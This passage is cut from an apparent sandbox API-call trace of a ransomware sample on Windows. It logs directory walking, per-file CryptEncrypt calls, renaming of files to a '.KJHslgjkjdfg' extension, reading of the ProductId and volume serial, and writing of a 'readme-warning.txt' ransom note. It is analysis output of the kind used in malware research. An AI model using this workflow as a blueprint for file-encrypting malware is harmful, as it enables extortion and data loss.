dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.998] GetLastError () returned 0x5 [0152.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\photoedge_videoinset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\photoedge_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0152.999] GetLastError () returned 0x5 [0152.999] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.000] GetLastError () returned 0x5 [0153.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.000] GetLastError () returned 0x5 [0153.000] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Postage_VideoInset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\postage_videoinset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.000] GetLastError () returned 0x5 [0153.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa11287e6, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa73ba87, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa119af33, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0153.003] GetProcessHeap () returned 0x2a0000 [0153.003] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2b9ae0 | out: hHeap=0x2a0000) returned 1 [0153.003] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.003] GetLastError () returned 0x5 [0153.003] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\1047_576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\1047_576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.003] GetLastError () returned 0x5 [0153.003] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0153.003] GetLastError () returned 0x5 [0153.066] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0153.066] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f518 | out: lpNewFilePointer=0x0) returned 1 [0153.066] WriteFile (in: hFile=0x124, lpBuffer=0x290f528*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f528*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.069] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0153.069] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.069] GetProcessHeap () returned 0x2a0000 [0153.069] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.069] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f4e0*=0x40) returned 1 [0153.069] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.069] WriteFile (in: hFile=0x124, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f4f8*=0x40, lpOverlapped=0x0) returned 1 [0153.069] WriteFile (in: hFile=0x124, lpBuffer=0x290f500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f500*, lpNumberOfBytesWritten=0x290f4f8*=0x4, lpOverlapped=0x0) returned 1 [0153.069] WriteFile (in: hFile=0x124, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f4f8*=0x10, lpOverlapped=0x0) returned 1 [0153.070] WriteFile (in: hFile=0x124, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f4f8*=0x80, lpOverlapped=0x0) returned 1 [0153.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f520 | out: lpNewFilePointer=0x0) returned 1 [0153.070] WriteFile (in: hFile=0x124, lpBuffer=0x290f510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x290f510*, lpNumberOfBytesWritten=0x290f4f8*=0x8, lpOverlapped=0x0) returned 1 [0153.070] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f4fc | out: phKey=0x290f4fc*=0x2c6260) returned 1 [0153.070] CryptSetKeyParam (hKey=0x2c6260, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0153.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.070] ReadFile (in: hFile=0x124, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1cc, lpNumberOfBytesRead=0x290f504, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f504*=0x1cc, lpOverlapped=0x0) returned 1 [0153.070] CryptEncrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f4e0*=0x1d0) returned 1 [0153.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.070] WriteFile (in: hFile=0x124, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x290f4f8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f4f8*=0x1d0, lpOverlapped=0x0) returned 1 [0153.070] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.070] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x2a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.070] SetEndOfFile (hFile=0x124) returned 1 [0153.073] GetProcessHeap () returned 0x2a0000 [0153.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.073] GetProcessHeap () returned 0x2a0000 [0153.073] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0153.074] MoveFileW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins"), lpNewFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\install.ins.KJHslgjkjdfg" (normalized: "c:\\program files\\internet explorer\\signup\\install.ins.kjhslgjkjdfg")) returned 1 [0153.075] CloseHandle (hObject=0x124) returned 1 [0153.075] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.ins", cAlternateFileName="")) returned 0 [0153.075] GetProcessHeap () returned 0x2a0000 [0153.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0153.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.075] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290f330 | out: pbData=0x2bf570, pdwDataLen=0x290f330) returned 1 [0153.075] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.075] GetProcessHeap () returned 0x2a0000 [0153.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0153.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.075] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290f330 | out: pbData=0x2bf5b8, pdwDataLen=0x290f330) returned 1 [0153.075] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.075] GetProcessHeap () returned 0x2a0000 [0153.075] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f22c8 [0153.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290f2c8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.076] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f22c8, pdwDataLen=0x290f330 | out: pbData=0x2f22c8, pdwDataLen=0x290f330) returned 1 [0153.076] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.076] GetProcessHeap () returned 0x2a0000 [0153.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0153.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.076] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290ef10 | out: pbData=0x2bf528, pdwDataLen=0x290ef10) returned 1 [0153.076] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.076] GetProcessHeap () returned 0x2a0000 [0153.076] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.076] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eea0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.076] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ef10 | out: pbData=0x2c1618, pdwDataLen=0x290ef10) returned 1 [0153.076] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.076] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290ef0c | out: phkResult=0x290ef0c*=0x124) returned 0x0 [0153.076] RegQueryValueExA (in: hKey=0x124, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290ef18, lpcbData=0x290ef14*=0x400 | out: lpType=0x0, lpData=0x290ef18*=0x30, lpcbData=0x290ef14*=0x18) returned 0x0 [0153.076] RegCloseKey (hKey=0x124) returned 0x0 [0153.077] GetProcessHeap () returned 0x2a0000 [0153.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0153.077] GetProcessHeap () returned 0x2a0000 [0153.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.077] GetProcessHeap () returned 0x2a0000 [0153.077] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1618 [0153.077] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290ec80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6260) returned 1 [0153.077] CryptDecrypt (in: hKey=0x2c6260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1618, pdwDataLen=0x290ece4 | out: pbData=0x2c1618, pdwDataLen=0x290ece4) returned 1 [0153.077] CryptDestroyKey (hKey=0x2c6260) returned 1 [0153.077] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290ece8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0153.077] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290ece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290ece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.077] GetProcessHeap () returned 0x2a0000 [0153.077] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1618 | out: hHeap=0x2a0000) returned 1 [0153.078] wsprintfA (in: param_1=0x290ef2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.078] wsprintfA (in: param_1=0x290f33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.078] GetProcessHeap () returned 0x2a0000 [0153.078] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f2690 [0153.078] wsprintfW (in: param_1=0x290e30c, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt") returned 60 [0153.078] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\readme-warning.txt" (normalized: "c:\\program files\\internet explorer\\signup\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.078] WriteFile (in: hFile=0x124, lpBuffer=0x2f2690*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290e308, lpOverlapped=0x0 | out: lpBuffer=0x2f2690*, lpNumberOfBytesWritten=0x290e308*=0x3b3, lpOverlapped=0x0) returned 1 [0153.080] CloseHandle (hObject=0x124) returned 1 [0153.080] GetProcessHeap () returned 0x2a0000 [0153.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f22c8 | out: hHeap=0x2a0000) returned 1 [0153.080] GetProcessHeap () returned 0x2a0000 [0153.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f2690 | out: hHeap=0x2a0000) returned 1 [0153.080] GetProcessHeap () returned 0x2a0000 [0153.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0153.080] GetProcessHeap () returned 0x2a0000 [0153.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0153.080] FindClose (in: hFindFile=0x2c62e0 | out: hFindFile=0x2c62e0) returned 1 [0153.081] GetProcessHeap () returned 0x2a0000 [0153.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7ad8 | out: hHeap=0x2a0000) returned 1 [0153.081] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0153.081] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x855fc7e1, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x855fc7e1, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x85622942, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0153.081] FindClose (in: hFindFile=0x2c6320 | out: hFindFile=0x2c6320) returned 1 [0153.081] GetProcessHeap () returned 0x2a0000 [0153.081] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7878 | out: hHeap=0x2a0000) returned 1 [0153.081] FindNextFileW (in: hFindFile=0x2c62a0, lpFindFileData=0x290fa98 | out: lpFindFileData=0x290fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0153.081] GetProcessHeap () returned 0x2a0000 [0153.081] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6a) returned 0x2c22b0 [0153.081] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6320 [0153.083] GetProcessHeap () returned 0x2a0000 [0153.083] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c22b0 | out: hHeap=0x2a0000) returned 1 [0153.083] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdcf23160, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdcf23160, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.083] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37143120, ftCreationTime.dwHighDateTime=0x1d57602, ftLastAccessTime.dwLowDateTime=0x277c9630, ftLastAccessTime.dwHighDateTime=0x1d593f3, ftLastWriteTime.dwLowDateTime=0x277c9630, ftLastWriteTime.dwHighDateTime=0x1d593f3, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="active-charge.exe", cAlternateFileName="ACTIVE~1.EXE")) returned 1 [0153.083] GetProcessHeap () returned 0x2a0000 [0153.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x26c) returned 0x2c7878 [0153.083] FindNextFileW (in: hFindFile=0x2c6320, lpFindFileData=0x290f810 | out: lpFindFileData=0x290f810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0153.083] GetProcessHeap () returned 0x2a0000 [0153.083] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7c) returned 0x2f5738 [0153.083] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c62e0 [0153.084] GetProcessHeap () returned 0x2a0000 [0153.084] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f5738 | out: hHeap=0x2a0000) returned 1 [0153.084] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.084] FindNextFileW (in: hFindFile=0x2c62e0, lpFindFileData=0x290f588 | out: lpFindFileData=0x290f588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="10", cAlternateFileName="")) returned 1 [0153.084] GetProcessHeap () returned 0x2a0000 [0153.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x27e) returned 0x2c7af0 [0153.084] GetProcessHeap () returned 0x2a0000 [0153.084] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x82) returned 0x2ed368 [0153.084] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\*.*", lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c6260 [0153.087] GetProcessHeap () returned 0x2a0000 [0153.087] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed368 | out: hHeap=0x2a0000) returned 1 [0153.087] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5f1ce1d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f1ce1d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.087] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Cartridges", cAlternateFileName="CARTRI~1")) returned 1 [0153.087] GetProcessHeap () returned 0x2a0000 [0153.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x284) returned 0x2c7d78 [0153.087] GetProcessHeap () returned 0x2a0000 [0153.087] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x98) returned 0x2ed148 [0153.087] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5edefe10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5edefe10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0153.115] GetProcessHeap () returned 0x2a0000 [0153.115] HeapFree (in: 